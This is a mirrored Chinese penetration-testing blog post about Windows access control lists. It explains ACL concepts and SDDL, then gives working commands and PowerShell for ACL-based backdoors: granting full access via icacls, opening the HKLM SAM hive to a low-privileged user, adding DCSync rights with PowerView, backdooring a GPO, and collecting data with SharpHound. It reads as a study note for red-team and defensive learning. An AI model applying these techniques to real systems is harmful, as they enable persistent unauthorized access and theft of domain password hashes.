zoukankan      html  css  js  c++  java
  • Windows下的Access Control List

    前言:对之前的https://www.cnblogs.com/zpchcbd/p/12374668.html再进行学习一次

    参考文章:https://3gstudent.github.io/3gstudent.github.io/渗透技巧-Windows下的Access-Control-List/
    参考文章:https://xz.aliyun.com/t/7724#toc-9
    参考文章:https://www.freebuf.com/sectool/179002.html

    ACL的介绍:

    ACL:Access Control List,用来表示用户(组)权限的列表,包括DACL和SACL

    ACE:Access Control Entry,ACL中的元素

    DACL:Discretionary Access Control List,用来表示安全对象权限的列表

    SACL:System Access Control List,用来记录对安全对象访问的日志

    如何理解?

    ACE:可以理解 当前安全对象的限制,一个用户/用户组对该安全对象的 是否可读 是否可写,那么此时ACE就是可读 可写这两个东西

    DACL:可以理解对 当前安全对象的限制,比如 a用户/用户组对该安全对象的XXX权限 b用户/用户组对该安全对象的XXX权限,那么此时DACL则为两条数目

    例如对某个文件进行访问,系统将做以下判断:

    如果没有DACL,系统将允许访问,可以理解为任何的用户/用户组都没有限制,那么也就是什么都能干

    如果存在DACL,但没有ACE,系统将拒绝所有访问 可以理解为存在对a用户/用户组的限制,但是没有ACE,也就是不允许任何操作,那么也就是什么都不能干

    如果存在DACL,也存在ACE,那么会按照每个ACE指定允许或拒绝 可以理解为存在对a用户/用户组的限制,但是有ACE,也就是对应的ACE都可以进行操作,不存在的ACE则不可以进行操作

    还需要知道的:ACE并不是单方面的允许/拒绝,允许和拒绝的权限都可以由ACE来进行表示,所以ACE还可以细分:

    1、谁对你有权限
    2、是允许还是拒绝
    3、有什么权限
    4、这个权限能不能被继承

    ACL的表现方式:

    存储位置 nTSecurityDescriptor

    存储格式 SDDL(Security Descriptor Definition Language)

    SDDL(
          A; ACE类型(允许/拒绝/审核)
          CIID; ACE标志(继承和审核设置)
          GW; 权限(增量权限列表)
          00299570-246d-11d0-a768-00aa006e0529; 对象类型(GUID)
          ; 继承的对象类型(GUID)
          S-1-5-21-1812960810-2335050734-3517558805-1103 受托人SID
    )
    

    拿上面的讲下,查询了A用户的nTSecurityDescriptor,SDDL为如上,其中最后一个是委托人SID,一般这个都是指向其他用户的,比如B用户,那么这条SDDL表示 B用户对A用户有00299570-246d-11d0-a768-00aa006e0529的权限,00299570-246d-11d0-a768-00aa006e0529实际上的权限是能够强制修改密码,那么相当于B用户就能控制A用户

    哪里会用到ACL:

    Windows访问控制模型中会用到ACL,比如文件、注册表的权限都包括ACL,用来表示哪些用户(组)具有操作权限

    如何查看文件、注册表的权限对应的ACL:

    这里就需要用到icacls了,这个工具是windows自带的

    注:(OI)代表对象继承 (CI)代表容器继承 (F)代表完全访问

    1、添加用户test1对指定文件(包括当前目录及其子目录中的文件)的完全访问权限(添加后门利器)

    icacls C:WindowsSYSVOLsysvol est.com /grant test1:(OI)(CI)(F) /t

    2、备份指定文件(包括当前目录及其子目录中的文件)的ACL

    icacls C:WindowsSYSVOLsysvol est.com /save AclFile /t

    3、还原指定文件(包括当前目录及其子目录中的文件)的ACL

    这里需要注意的细节: 还原时,路径需要设置为上级目录

    icacls C:WindowsSYSVOLsysvol /restore AclFile /t

    4、移除用户test1对指定文件(包括当前目录及其子目录中的文件)的完全访问权限

    icacls C:WindowsSYSVOLsysvol est.com /remove test1 /t

    非域的环境下,ACL可以如何利用?

    权限维持:添加普通用户的完全访问权限,作为提权后门

    1、比如一些需要高权限才能进行dll劫持的文件夹,比如Google的更新程序,来到更新程序的目录下进行设置权限

    icacls Update /grant everyone:f

    2、注册表的利用,正常高权限才能导出sam数据库进行解密获取hash值,权限维持也可以在这方面下手

    $acl = Get-Acl HKLM:SAM
    $person = [System.Security.Principal.NTAccount]"apache"
    $access = [System.Security.AccessControl.RegistryRights]"FullControl"
    $inheritance = [System.Security.AccessControl.InheritanceFlags]"ObjectInherit,ContainerInherit"
    $propagation = [System.Security.AccessControl.PropagationFlags]"None"
    $type = [System.Security.AccessControl.AccessControlType]"Allow"
    $rule = New-Object System.Security.AccessControl.RegistryAccessRule( `
    $person,$access,$inheritance,$propagation,$type)
    $acl.AddAccessRule($rule)
    Set-Acl HKLM:SAM $acl
    

    3、注册表/路径的ACL利用,正常高权限的启动项才能写,权限维持也可以在这方面下手

    域环境下,ACL可以如何利用?

    域和ACL的关系图如下:

    1、DCSync后门

    使用的是PowerView脚本

    添加ACL Add-DomainObjectAcl -TargetIdentity "DC=pentest,DC=God" -PrincipalIdentity yuyonghu01 -Rights DCSync

    删除ACL Remove-DomainObjectAcl -TargetIdentity "DC=pentest,DC=God" -PrincipalIdentity yuyonghu01 -Rights DCSync

    添加完ACL可以可以进行查看指定用户的DACL,看看是怎么样的,多了三个DACL!

    2、在域控中添加GPO后门,也就是对对应的组策略的编号ScheduledTasks.xml的command标签内容进行修改,到时候域中的机器进行自动更新组策略的时候会应用

    该GroupPolicy模块自己发现只有在域控中有,其他域机器默认是没有的

    Import-Module GroupPolicy
    Get-GPO -All
    

    添加用户test1对TestGPO的完全访问权限

    $RawObject = Get-DomainGPO -Raw -Identity 'TestGPO' #这里填写你的创建的组策略的名称
    $TargetObject = $RawObject.GetDirectoryEntry()
    $ACE = New-ADObjectAccessControlEntry -InheritanceType All -AccessControlType Allow -PrincipalIdentity test1 -Right #这里填写你的用户名
    AccessSystemSecurity,CreateChild,Delete,DeleteChild,DeleteTree,ExtendedRight,GenericAll,GenericExecute,GenericRead,GenericWrite,ListChildren,ListObject,ReadControl,ReadProperty,Self,Synchronize,WriteDacl,WriteOwner,WriteProperty
    $TargetObject.PsBase.ObjectSecurity.AddAccessRule($ACE)
    $TargetObject.PsBase.CommitChanges()
    

    查看DACL可以发现如下:

    3、ACL配置不当造成的域提权

    4、创建ntds.dit的文件共享,添加ACL,后续可以使用域内普通用户访问域控制器的ntds.dit文件,读取域内所有用户的hash

    域中BloodHound的使用:

    用来采集域内ACL的工具:https://github.com/BloodHoundAD/BloodHound/blob/master/Ingestors/SharpHound.exe

    采集完之后可以导入BloodHound进行分析

    我这里把SharpHound.exe放入一台普通的域机器中

    程序是需要.net支持的,2012的机器上自带.net4.0

    执行:SharpHound.exe -c all

    将生成的文件下载到本地,打开BloodHound进行导入操作

    拿起刚才我们给yuyonghu01设置的DCSync的权限,我们可以在BloodHound中观察到

    那么之后就可以继续定位到yuyonghu01的机器,对当前该机器进行攻击拿下之后凭借DCSync的权限导出域哈希!

  • 相关阅读:
    ES6~Promise的原理及使用二 理解Promise规范(copy自:https://www.cnblogs.com/lvdabao/p/5320705.html?utm_source=tuicool&utm_medium=referral)
    Google的Python代码格式化工具YAPF详解
    在ubuntu上使用QQ的经历
    Ubuntu 14.04 下安装Skype
    pip install lxml mysql-python error
    情人节的宠物-测试小工具
    戴维营收集
    工作日志(10.29)
    求职面试
    面试题集(转载)
  • 原文地址:https://www.cnblogs.com/zpchcbd/p/12932451.html
Copyright © 2011-2022 走看看